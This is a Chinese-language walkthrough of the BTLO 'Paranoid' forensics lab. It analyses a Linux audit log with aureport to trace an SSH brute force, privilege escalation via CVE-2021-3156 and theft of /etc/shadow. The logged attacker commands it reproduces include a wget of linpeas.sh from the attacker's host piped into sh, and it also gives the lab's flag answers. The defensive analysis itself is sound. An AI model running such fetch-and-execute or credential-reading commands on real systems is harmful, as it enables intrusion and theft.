# BTLO - Paranoid
Challenge: https://blueteamlabs.online/home/challenge/paranoid-e5e164befb
:::spoiler TOC
[TOC]
:::
:::info
此lab大部分是參考[^wp1]的說明,因為本身第一次接觸aureport,所以不太清楚指令或者是注意的地方
:::
## Tool
AUReport: `$ sudo apt install auditd`
Linux CLI
## Background
```bash
aureport --help
usage: aureport [options]
-a,--avc Avc report
-au,--auth Authentication report
--comm Commands run report
-c,--config Config change report
-cr,--crypto Crypto report
--debug Write malformed events that are skipped to stderr
--eoe-timeout secs End of Event Timeout
-e,--event Event report
--escape option Escape output
-f,--file File name report
--failed only failed events in report
-h,--host Remote Host name report
--help help
-i,--interpret Interpretive mode
-if,--input <Input File name> use this file as input
--input-logs Use the logs even if stdin is a pipe
--integrity Integrity event report
-k,--key Key report
-l,--login Login report
-m,--mods Modification to accounts report
-ma,--mac Mandatory Access Control (MAC) report
-n,--anomaly aNomaly report
-nc,--no-config Don''t include config events
--node <node name> Only events from a specific node
-p,--pid Pid report
-r,--response Response to anomaly report
-s,--syscall Syscall report
--success only success events in report
--summary sorted totals for main object in report
-t,--log Log time range report
-te,--end [end date] [end time] ending date & time for reports
-tm,--terminal TerMinal name report
-ts,--start [start date] [start time] starting data & time for reports
--tty Report about tty keystrokes
-u,--user User name report
-v,--version Version
--virt Virtualization report
-x,--executable eXecutable name report
If no report is given, the summary report will be displayed
```

## 起手式
```bash
$ sudo aureport --summary -if audit.log
Summary Report
======================
Range of time in logs: 10/05/21 08:22:07.664 - 10/05/21 08:28:06.610
Selected time for report: 10/05/21 08:22:07 - 10/05/21 08:28:06.610
Number of changes in configuration: 15
Number of changes to accounts, groups, or roles: 0
Number of logins: 1
Number of failed logins: 87
Number of authentications: 3
Number of failed authentications: 89
Number of users: 3
Number of terminals: 10
Number of host names: 6
Number of executables: 115
Number of commands: 192
Number of files: 298
Number of AVC's: 0
Number of MAC events: 0
Number of failed syscalls: 1606
Number of anomaly events: 0
Number of responses to anomaly events: 0
Number of crypto events: 0
Number of integrity events: 0
Number of virt events: 0
Number of keys: 1
Number of process IDs: 10679
Number of events: 16732
```
## ==Q1==
> What account was compromised?
### Recon
既然是和帳號有關那就是和authentication有關,所以可以先用summary看他有多少user(結果如上),再用`-au`指令看成功(失敗)的認證有多少
```bash
$ sudo aureport -if audit.log -au
Authentication Report
============================================
# date time acct host term exe success event
============================================
1. 10/05/21 08:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465368
2. 10/05/21 08:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465374
3. 10/05/21 08:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465381
4. 10/05/21 08:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465382
5. 10/05/21 08:22:39 btlo 192.168.4.155 ssh /usr/sbin/sshd no 465384
...
85. 10/05/21 08:22:55 btlo 192.168.4.155 ssh /usr/sbin/sshd yes 465936
...
89. 10/05/21 08:23:13 btlo 192.168.4.155 ssh /usr/sbin/sshd yes 467550
...
90. 10/05/21 08:23:34 btlo ? /dev/pts/1 /usr/bin/sudo yes 468442
91. 10/05/21 08:25:40 btlo ? /dev/pts/1 /usr/bin/sudo no 473858
92. 10/05/21 08:25:41 btlo ? /dev/pts/1 /usr/bin/sudo no 473860
```
可以發現account name都是==btlo==,不過奇怪的是前面有一大堆的認證失敗,到最後才有三次的認證成功,所以我們可以很清楚的知道攻擊者就是==192.168.4.155==嘗試用==bruteforce==的方式透過ssh登入進來
:::spoiler Flag
Flag: `btlo`
:::
## ==Q2==
> What attack type was used to gain initial access?
### Recon
呈上題
:::spoiler Flag
Flag: `bruteforce`
:::
## ==Q3==
> What is the attacker's IP address?
### Recon
呈上題
:::spoiler Flag
Flag: `192.168.4.155`
:::
## ==Q4==
> What tool was used to perform system enumeration?
### Recon
根據[^wp1]的說明,此時要使用到`--tty`的參數列出登入進來之後下甚麼command
```bash
sudo aureport -if audit.log --tty
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
1. 10/05/21 08:23:16 468403 1001 pts1 49 sh "hostname",<nl>
2. 10/05/21 08:23:21 468408 1001 pts1 49 sh "whoami",<nl>
3. 10/05/21 08:23:26 468414 1001 pts1 49 sh "ls",<nl>
4. 10/05/21 08:23:27 468419 1001 pts1 49 sh "sudo -l",<nl>
5. 10/05/21 08:23:34 468447 1001 pts1 49 sh <nl>
6. 10/05/21 08:23:37 468450 1001 pts1 49 sh "wget -O - http://192.168.4.155:8000/linpeas.sh | sh",<nl>
7. 10/05/21 08:26:21 480914 1001 pts1 49 sh "lsb_release -a",<nl>
8. 10/05/21 08:26:31 480921 1001 pts1 49 sh "sudo -V",<nl>
9. 10/05/21 08:26:36 480934 1001 pts1 49 sh "wget http://192.168.4.155:8000/evil.tar.gz",<nl>
10. 10/05/21 08:26:45 480944 1001 pts1 49 sh "ls",<nl>
11. 10/05/21 08:26:50 480947 1001 pts1 49 sh "tar zxvf evil.tar.gz",<nl>
12. 10/05/21 08:26:59 480982 1001 pts1 49 sh "cd evil",<nl>
13. 10/05/21 08:27:03 480984 1001 pts1 49 sh "ls",<nl>
14. 10/05/21 08:27:06 480987 1001 pts1 49 sh "make",<nl>
15. 10/05/21 08:27:10 481020 1001 pts1 49 sh "./evil 0",<nl>
16. 10/05/21 08:27:17 481039 1001 pts1 49 sh "whoami",<nl>
17. 10/05/21 08:27:21 481050 1001 pts1 49 sh "rm -rf /home/btlo/evil",<nl>
18. 10/05/21 08:27:39 481059 1001 pts1 49 sh "rm /home/btlo/evil.tar.gz",<nl>
19. 10/05/21 08:27:45 481062 1001 pts1 49 sh "cat /etc/shadow",<nl>
20. 10/05/21 08:27:50 481064 1001 pts1 49 sh "exit",<nl>
21. 10/05/21 08:27:53 481065 1001 pts1 49 sh "exit",<nl>
```
從以上結果得知,攻擊者進來以後先recon一下(hostname / whoami / ls / sudo -l(查看目前的身分可以下甚麼command)),最重要的是他wget了一個linpeas.sh,這是一個專用於linux based的提權工具,詳細的資訊可以看[Linux權限提升研究: 自動化信息收集](https://cloud.tencent.com/developer/article/1841447),甚至後面下載了一個evil,應該是自己寫的或是自己蒐集的武器庫,提權完了之後就是要查看最重要的地方,也就是==/etc/shadow==,就是真實存密碼的地方
:::spoiler Flag
Flag: `linpeas`
:::
## ==Q5==
> What is the name of the binary and pid used to gain root?
### Recon
既然我們已經知道他下載了一個evil tar並且執行其中的script,那麼在process紀錄中一定有相關資訊,此時可以下`-p`列出所有process list,然後我們要著重在evil這個key word,所以記得grep
### Exploit
```bash
$ sudo aureport -if audit.log -p | grep "evil"
# date time acct host term exe success event
16156. 10/05/21 08:27:17 829992 /home/btlo/evil/evil 59 1001 481021
```
:::spoiler Flag
Flag: `evil, 829992`
:::
## ==Q6==
> What CVE was exploited to gain root access? (Do your research!)
### Recon
只要上網找這一題的題目就會出現相關的CVE

:::spoiler Flag
Flag: `CVE-2021-3156`
:::
## ==Q7==
> What type of vulnerability is this?
### Recon
呈上題,也可以看[chatgpt的回答](https://chat.openai.com/share/197d29c6-3298-45b2-b332-cd0f6e814a2f)
:::spoiler Flag
Flag: `heap_based buffer overflow`
:::
## ==Q8==
> What file was exfiltrated once root was gained?
### Recon
呈第4題
:::spoiler Flag
Flag: `/etc/shadow`
:::
## Reference
[^wp1]:[BTLO - Paranoid](https://05t3.github.io/posts/Paranoid/)